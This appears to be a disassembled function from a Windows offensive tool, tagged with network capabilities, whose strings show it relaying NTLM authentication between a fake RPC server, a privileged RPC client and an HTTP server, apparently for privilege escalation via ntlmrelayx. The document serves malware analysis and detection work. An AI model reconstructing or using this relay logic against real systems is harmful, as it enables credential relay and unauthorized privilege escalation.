Function at 0x140011357
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket
Send http request

Disassembly:
jmp 0x140012550
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
mov eax, 0xc8d8
call fcn.140011159
sub rsp, rax
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x30aa
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0xc8f8]
mov rax, qword [0x140030058]
xor rax, rbp
mov qword [rbp + 0xc898], rax
lea rcx, reloc.WS2_32.dll_accept
call fcn.140011861
mov dword [rbp + 4], 0
mov dword [rbp + 0x24], 0x2000
mov dword [rbp + 0x44], 0x2000
mov dword [rbp + 0x64], 0
mov dword [rbp + 0x84], 0
mov dword [rbp + 0x8124], 0
mov dword [rbp + 0xa164], 0
mov dword [rbp + 0xc224], 0
mov rcx, qword [rbp + 0xc8e0]
call fcn.14001183e
mov qword [rbp + 0xc248], rax
mov qword [rbp + 0xc268], 0
mov rdx, qword [rbp + 0xc8c8]
mov rcx, qword [rbp + 0xc8c0]
call fcn.1400110c8
mov qword [rbp + 0xc288], rax
xor r9d, r9d
mov r8d, dword [rbp + 0x24]
lea rdx, [rbp + 0x20d0]
mov rcx, qword [rbp + 0xc248]
call qword [sym.imp.WS2_32.dll_recv]
mov dword [rbp + 4], eax
cmp dword [rbp + 0x84], 0
jne 0x140012675
mov rdx, qword [rbp + 0xc8d8]
mov rcx, qword [rbp + 0xc8d0]
call fcn.1400114ba
mov qword [rbp + 0xc268], rax
mov dword [rbp + 0x84], 1
mov edx, dword [rbp + 4]
lea rcx, [rbp + 0x20d0]
call fcn.14001169f
mov dword [rbp + 0x64], eax
cmp dword [rbp + 0x64], 0
jle 0x1400129d3
movsxd rax, dword [rbp + 4]
mov r8, rax
lea rdx, [rbp + 0x20d0]
lea rcx, [rbp + 0xa210]
call fcn.1400113de
mov eax, dword [rbp + 4]
mov dword [rbp + 0xc224], eax
mov eax, dword [rbp + 0x64]
mov ecx, dword [rbp + 4]
sub ecx, eax
mov eax, ecx
cdqe
movsxd rcx, dword [rbp + 0x64]
lea rcx, [rbp + rcx + 0x20d0]
mov r8, rax
mov rdx, rcx
lea rcx, [rbp + 0x40f0]
call fcn.1400113de
mov eax, dword [rbp + 0x64]
mov ecx, dword [rbp + 4]
sub ecx, eax
mov eax, ecx
mov r9, qword [rbp + 0xc8c0]
lea r8, [rbp + 0xa1a4]
mov edx, eax
lea rcx, [rbp + 0x40f0]
call fcn.140011519
mov qword [rbp + 0xa188], rax
xor r9d, r9d
mov r8d, dword [rbp + 0xa1a4]
mov rdx, qword [rbp + 0xa188]
mov rcx, qword [rbp + 0xc288]
call qword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x14001273f
lea rcx, str.____Couldnt_forge_the_http_packet_with_the_type_1_auth_and_send_it_to_the_http_server._n
call fcn.1400113ac
jmp 0x1400129dd
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor r9d, r9d
mov r8d, dword [rbp + 0x24]
lea rdx, [rbp + 0x20d0]
mov rcx, qword [rbp + 0xc288]
call qword [sym.imp.WS2_32.dll_recv]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0xffffffff
jne 0x14001277f
lea rcx, str.____Couldnt_receive_the_http_response_from_the_http_server_n
call fcn.1400113ac
jmp 0x1400129dd
lea r9, [rbp + 0x8124]
lea r8, [rbp + 0x6110]
mov edx, dword [rbp + 4]
lea rcx, [rbp + 0x20d0]
call fcn.14001177b
xor r9d, r9d
mov r8d, dword [rbp + 0xc224]
lea rdx, [rbp + 0xa210]
mov rcx, qword [rbp + 0xc268]
call qword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x1400127d0
lea rcx, str.____Couldnt_communicate_with_the_fake_RPC_Server_n
call fcn.1400113ac
jmp 0x1400129dd
xor r9d, r9d
mov r8d, dword [rbp + 0x24]
lea rdx, [rbp + 0x20d0]
mov rcx, qword [rbp + 0xc268]
call qword [sym.imp.WS2_32.dll_recv]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0xffffffff
jne 0x140012805
lea rcx, str.____Couldnt_receive_the_type2_message_from_the_fake_RPC_Server_n
call fcn.1400113ac
jmp 0x1400129dd
mov edx, dword [rbp + 4]
lea rcx, [rbp + 0x20d0]
call fcn.14001169f
mov dword [rbp + 0x64], eax
lea rax, [rbp + 0xb0]
mov qword [rsp + 0x28], rax
mov eax, dword [rbp + 0x8124]
mov dword [rsp + 0x20], eax
lea r9, [rbp + 0x6110]
mov r8d, dword [rbp + 0x64]
mov edx, dword [rbp + 4]
lea rcx, [rbp + 0x20d0]
call fcn.1400115c8
mov eax, dword [rbp + 0x8124]
mov ecx, dword [rbp + 0x64]
add ecx, eax
mov eax, ecx
xor r9d, r9d
mov r8d, eax
lea rdx, [rbp + 0xb0]
mov rcx, qword [rbp + 0xc248]
call qword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x140012884
lea rcx, str.____Couldnt_send_the_altered_type2_to_the_rpc_client__the_privileged_auth__n
call fcn.1400113ac
jmp 0x1400129dd
xor r9d, r9d
mov r8d, dword [rbp + 0x24]
lea rdx, [rbp + 0x20d0]
mov rcx, qword [rbp + 0xc248]
call qword [sym.imp.WS2_32.dll_recv]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0xffffffff
jne 0x1400128b9
lea rcx, str.____Couldnt_receive_the_type3_auth_from_the_rpc_client_n
call fcn.1400113ac
jmp 0x1400129dd
lea r9, [rbp + 0xa164]
lea r8, [rbp + 0x8150]
mov edx, dword [rbp + 4]
lea rcx, [rbp + 0x20d0]
call fcn.1400114e2
mov r9, qword [rbp + 0xc8c0]
lea r8, [rbp + 0xa1e4]
mov edx, dword [rbp + 0xa164]
lea rcx, [rbp + 0x8150]
call fcn.140011299
mov qword [rbp + 0xa1c8], rax
xor r9d, r9d
mov r8d, dword [rbp + 0xa1e4]
mov rdx, qword [rbp + 0xa1c8]
mov rcx, qword [rbp + 0xc288]
call qword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x140012931
lea rcx, str.____Couldnt_send_the_type3_AUTH_to_the_http_server_n
call fcn.1400113ac
jmp 0x1400129dd
mov edx, dword [rbp + 0xa164]
lea rcx, [rbp + 0x8150]
call fcn.140011370
xor r9d, r9d
mov r8d, dword [rbp + 0x24]
lea rdx, [rbp + 0x20d0]
mov rcx, qword [rbp + 0xc288]
call qword [sym.imp.WS2_32.dll_recv]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0xffffffff
jne 0x140012975
lea rcx, str.____Couldnt_receive_the_output_from_the_http_server_n
call fcn.1400113ac
jmp 0x1400129dd
mov eax, 1
imul rax, rax, 9
movsx eax, byte [rbp + rax + 0x20d0]
cmp eax, 0x34
jne 0x1400129c5
mov eax, 1
imul rax, rax, 0xa
movsx eax, byte [rbp + rax + 0x20d0]
cmp eax, 0x30
jne 0x1400129c5
mov eax, 1
imul rax, rax, 0xb
movsx eax, byte [rbp + rax + 0x20d0]
cmp eax, 0x34
jne 0x1400129c5
lea rcx, str.___Relaying_seems_successfull__check_ntlmrelayx_output__n
call fcn.1400113ac
jmp 0x1400129d1
lea rcx, str.____Relaying_failed_:__n
call fcn.1400113ac
jmp 0x1400129dd
cmp dword [rbp + 4], 0
jg 0x14001262a
mov rcx, qword [rbp + 0xc248]
call qword [sym.imp.WS2_32.dll_closesocket]
mov rcx, qword [rbp + 0xc268]
call qword [sym.imp.WS2_32.dll_closesocket]
mov rcx, qword [rbp + 0xc288]
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
lea rcx, [rbp - 0x30]
lea rdx, [0x140026050]
call fcn.1400116f9
mov rcx, qword [rbp + 0xc898]
xor rcx, rbp
call fcn.1400113d4
lea rsp, [rbp + 0xc8a8]
pop rdi
pop rbp
ret